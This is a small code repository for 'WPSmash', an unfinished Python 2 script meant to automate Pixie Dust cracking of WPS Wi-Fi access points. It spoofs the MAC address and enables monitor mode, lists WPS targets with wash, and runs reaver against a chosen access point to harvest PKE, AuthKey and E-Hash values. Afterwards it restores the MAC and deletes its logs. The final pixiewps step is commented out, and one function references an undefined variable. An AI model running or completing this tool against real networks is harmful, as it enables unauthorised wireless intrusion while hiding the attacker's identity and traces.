├── .gitignore ├── README.md └── WPSmash.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.log 2 | *.pyc 3 | *.swp 4 | *.txt 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WPSmash 2 | 3 | Eventually this will automate the process of using pixiewps to crack WPS access points. 4 | -------------------------------------------------------------------------------- /WPSmash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import io 4 | import os 5 | import re 6 | import sys 7 | import time 8 | import fcntl 9 | import socket 10 | import random 11 | import struct 12 | import argparse 13 | from subprocess import Popen, PIPE, STDOUT 14 | 15 | DN = open(os.devnull, 'w') 16 | # Console colors 17 | W = '\033[0m' # white (normal) 18 | R = '\033[31m' # red 19 | G = '\033[32m' # green 20 | O = '\033[33m' # orange 21 | B = '\033[34m' # blue 22 | P = '\033[35m' # purple 23 | C = '\033[36m' # cyan 24 | GR = '\033[37m' # gray 25 | T = '\033[93m' # tan 26 | 27 | def parse_args(): 28 | ''' 29 | Create the arguments 30 | ''' 31 | parser = argparse.ArgumentParser() 32 | parser.add_argument("-i", "--interface", help="Select the interface to use") 33 | return parser.parse_args() 34 | 35 | def iwconfig(): 36 | monitors = [] 37 | wifi_intfs = [] 38 | 39 | try: 40 | proc = Popen(['/sbin/iwconfig'], stdout=PIPE, stderr=DN) 41 | except OSError: 42 | sys.exit('['+R+'-'+W+'] Could not execute "iwconfig"') 43 | 44 | for line in proc.communicate()[0].split('\n'): 45 | if len(line) == 0: continue # Isn't an empty string 46 | if line[0] != ' ': # Doesn't start with space 47 | iface = line[:line.find(' ')] # is the interface 48 | if 'Mode:Monitor' in line: 49 | monitors.append(iface) 50 | elif 'IEEE 802.11' in line: 51 | wifi_intfs.append(iface) 52 | 53 | return monitors, wifi_intfs 54 | 55 | def get_mon_iface(args): 56 | ''' 57 | Get the monitor mode interface name 58 | ''' 59 | # Kill any potentialy interfering programs 60 | monitors, wifi_intfs = iwconfig() 61 | 62 | if args.interface: 63 | iface = args.interface 64 | else: 65 | if len(monitors) > 0: 66 | # Just use the first monitor mode interface 67 | iface = monitors[0] 68 | else: 69 | iface = get_iface(wifi_intfs) 70 | 71 | orig_mac = get_mac(iface) 72 | print '[*] Original MAC address: %s' % orig_mac 73 | #Changes MAC and brings it up in monitor mode 74 | new_mac = rand_mac(iface) 75 | print '[*] New MAC address: %s' % new_mac 76 | 77 | return orig_mac, iface 78 | 79 | def get_mac(interface): 80 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 81 | info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', interface[:15])) 82 | return ':'.join(['%02x' % ord(char) for char in info[18:24]]) 83 | 84 | def rand_mac(interface): 85 | ''' 86 | https://www.centos.org/docs/5/html/5.2/Virtualization/ 87 | sect-Virtualization-Tips_and_tricks-Generating_a_new_unique_MAC_address.html 88 | ''' 89 | os.system('/sbin/ip link set %s down' % interface) 90 | mac = [ 0x00, 0x16, 0x3e, 91 | random.randint(0x00, 0x7f), 92 | random.randint(0x00, 0xff), 93 | random.randint(0x00, 0xff) ] 94 | mac = ':'.join(map(lambda x: "%02x" % x, mac)) 95 | 96 | os.system('/sbin/ip link set dev {} address {}'.format(interface, mac)) 97 | os.system('/sbin/iwconfig %s mode monitor' % interface) 98 | os.system('/sbin/ip link set %s up' % interface) 99 | 100 | return mac 101 | 102 | def get_iface(wifi_intfs): 103 | ''' 104 | Get the interface we're going to interact with 105 | ''' 106 | if len(wifi_intfs) < 1: 107 | sys.exit('['+R+'-'+W+'] No wireless interfaces found, bring one up and try again') 108 | 109 | if len(wifi_intfs) == 1: 110 | return interface[0] 111 | 112 | return get_best_intf(wifi_intfs) 113 | 114 | def get_best_intf(wifi_intfs): 115 | ''' 116 | Run iwlist and select wifi interface that returns most APs 117 | ''' 118 | scanned_aps = [] 119 | 120 | for iface in wifi_intfs: 121 | count = iface_scan(iface) 122 | if count == 0: 123 | print '['+G+'+'+W+'] Networks discovered by '+G+iface+W+': '+T+str(count)+W 124 | print '['+R+'-'+W+'] Rescanning '+G+iface+W 125 | time.sleep(3) 126 | count = iface_scan(iface) 127 | scanned_aps.append((count, iface)) 128 | print '['+G+'+'+W+'] Networks discovered by '+G+iface+W+': '+T+str(count)+W 129 | 130 | # Returns the interface that found the most APs 131 | return max(scanned_aps)[1] 132 | 133 | def iface_scan(iface): 134 | count = 0 135 | proc = Popen(['/sbin/iwlist', iface, 'scan'], stdout=PIPE, stderr=DN) 136 | for line in proc.communicate()[0].split('\n'): 137 | if ' - Address:' in line: # first line in iwlist scan for a new AP 138 | count += 1 139 | return count 140 | 141 | def parse_streaming_output(filename, cmd, parse_output, *args): 142 | ''' 143 | Run and parse wash to gather WPS APs, then prompt user for target 144 | ''' 145 | output = [] 146 | with io.open(filename, 'wb') as writer, io.open(filename, 'rb', 1) as reader: 147 | print '[*] Running `{}`'.format(cmd) 148 | time.sleep(3) 149 | proc = Popen(cmd.split(), stdout=writer) 150 | # wash never stops 151 | try: 152 | while proc.poll() is None: 153 | output += reader.readlines() 154 | results = parse_output(output) 155 | 156 | # Just for running reaver 157 | if type(results) == list: 158 | if len(results) == 4: 159 | return results 160 | 161 | time.sleep(.25) 162 | except KeyboardInterrupt: 163 | return results 164 | 165 | def print_targets(output): 166 | ''' 167 | Print the targets and return them in a dict 168 | ''' 169 | os.system('clear') 170 | print '[*] Targets:\n' 171 | targets = get_targets(output) 172 | for x in targets: 173 | mac, chan, locked, essid = targets[x] 174 | print '[{}] {} {} {}'.format(x, mac, essid, locked) 175 | print '\n[*] Hit Ctrl-C to make a selection' 176 | 177 | return targets 178 | 179 | def get_targets(out): 180 | ''' 181 | Parse wash output for target macs and essids 182 | ''' 183 | targets = {} 184 | counter = 0 185 | for line in out: 186 | if line.count(':') == 5: 187 | counter += 1 188 | line = line.split() 189 | # For some reason sometimes 1 AP around me throws tons of \x00's in 190 | # the mac 191 | mac = line[0].replace('\x00', '') 192 | chan = line[1] 193 | locked = line[4] 194 | essid = ' '.join(line[5:]) 195 | 196 | if 'yes' in locked.lower(): 197 | locked = 'Locked' 198 | else: 199 | locked = '' 200 | 201 | targets[str(counter)] = (mac, chan, locked, essid) 202 | 203 | return targets 204 | 205 | def parse_reaver(output): 206 | os.system('clear') 207 | pixie_vars = [] 208 | for line in output: 209 | print line.strip() 210 | line = line.strip().split() 211 | 212 | if 'PKE:' in line: 213 | pixie_vars = [] 214 | pixie_vars.append(line[-1]) 215 | continue 216 | 217 | # Make sure PKE was found first 218 | if len(pixie_vars) > 0: 219 | if 'AuthKey:' in line: 220 | pixie_vars.append(line[-1]) 221 | if 'E-Hash1:' in line: 222 | pixie_vars.append(line[-1]) 223 | if 'E-Hash2:' in line: 224 | pixie_vars.append(line[-1]) 225 | 226 | return pixie_vars 227 | 228 | def cleanup(orig_mac, mon_iface): 229 | ''' 230 | Removes monitor mode, changes MAC back, restarts network-manager, 231 | removes wash.log, reaver.log, and prints a closing message 232 | ''' 233 | os.system('ifconfig %s down' % mon_iface) 234 | os.system('/sbin/ip link set dev {} address {}'.format(mon_iface, orig_mac)) 235 | os.system('iwconfig %s mode managed' % mon_iface) 236 | os.system('ifconfig %s up' % mon_iface) 237 | os.system('service network-manager restart') 238 | os.system('rm wash.log reaver.log') 239 | sys.exit('\n['+R+'!'+W+'] Closing...') 240 | 241 | def main(): 242 | args = parse_args() 243 | orig_mac, mon_iface = get_mon_iface(args) 244 | cmd = 'wash -i {} -C'.format(mon_iface) 245 | targets = parse_streaming_output('wash.log', cmd, print_targets) 246 | choice = raw_input('\n[*] Enter the number of your choice: ') 247 | mac, chan, locked, essid = targets[choice] 248 | cmd = 'reaver -i {} -c {} -b {} -vv -S'.format(mon_iface, chan, mac) 249 | pixie_vars = parse_streaming_output('reaver.log', cmd, parse_reaver) 250 | print pixie_vars 251 | #pin = run_pixiewps(pixie_vars) 252 | cleanup(orig_mac, mon_iface) 253 | 254 | main() 255 | --------------------------------------------------------------------------------